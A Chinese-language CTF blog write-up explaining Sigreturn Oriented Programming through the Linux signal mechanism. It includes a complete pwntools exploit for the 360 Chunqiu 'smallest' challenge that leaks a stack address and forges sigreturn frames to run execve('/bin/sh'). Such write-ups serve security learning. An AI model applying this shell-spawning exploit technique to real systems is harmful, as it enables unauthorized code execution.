SROP
title: SROP
date: 2018-02-21 19:58:12
categories: 棧溢出
tags:
- CTF
- PWN
- 棧溢出
SROP全稱為 Sigreturn Oriented Programming ,表明利用sigreturn這個函數實現ROP的技術。
參考資料
http://www.freebuf.com/articles/network/87447.html
http://bobao.360.cn/learning/detail/3694.html
http://bobao.360.cn/learning/detail/3675.html
http://mutepig.club/index.php/archives/55/
http://www.angelwhu.com/blog/?p=504
Signal機制
首先,當由中斷或異常產生時,會發出一個信號,然后會送給相關進程,此時系統切換到內核模式。
內核會執行do_signal()函數,最終會調用setup_frame()函數來設置用戶棧。
(在棧中保存了進入內核前所有寄存器的信息,還會push一個 signal function 的返回地址——sigruturn()的地址)
當這些準備工作完成后,就開始執行由用戶指定的signal function了。
(調用的函數)
當執行完后,因為返回地址被設置為sigreturn()系統調用的地址了,所以此時系統又會陷入內核執行sigreturn()系統調用。
(恢復保存的寄存器的信息)
利用思路
由于程序中并沒有sigreturn調用,所以我們得自己構造,正好這里有read函數調用,所以我們可以通過read函數讀取的字節數來設置rax的值。
重要思路如下
通過控制read讀取的字符數來設置RAX寄存器的值,從而執行sigreturn
通過syscall執行execve(“/bin/sh”,0,0)來獲取shell。
示例
這里以360春秋杯中的smallest-pwn為例
#coding=utf8 from pwn import * from LibcSearcher import * small = ELF('./smallest') # if args['REMOTE']: # sh = remote('127.0.0.1', 7777) # else: sh = process('./smallest') context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 ## set start addr three timespayload = p64(start_addr) * 3 # gdb.attach(sh) sh.send(payload)## modify the return addr to start_addr+3 ## so that skip the xor rax,rax; then the rax=1 ## get stack addr# gdb.attach(sh) sh.send('\xb3')stack_addr = u64(sh.recv()[8:16]) print "stack_addr = " + hex(stack_addr) log.success('leak stack addr :' + hex(stack_addr))## make the rsp point to stack_addr ## the frame is read(0,stack_addr,0x400) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read print "constants.SYS_read = " + hex(sigframe.rax) sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)# gdb.attach(sh) sh.send(payload)## set rax=15 and call sigreturn sigreturn = p64(syscall_ret) + 'A' * 7 # 覆蓋上面的 'a'*8# gdb.attach(sh) sh.send(sigreturn)## call execv("/bin/sh",0,0) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_retframe_payload = p64(start_addr) + 'b' * 8 + str(sigframe) print len(frame_payload) payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'# gdb.attach(sh) sh.send(payload)# gdb.attach(sh) sh.send(sigreturn)sh.interactive()轉載于:https://www.cnblogs.com/amliaw4/p/8461273.html
總結
- 上一篇: imx8qm HDMI-TX调试
- 下一篇: 静态时序分析——基础概念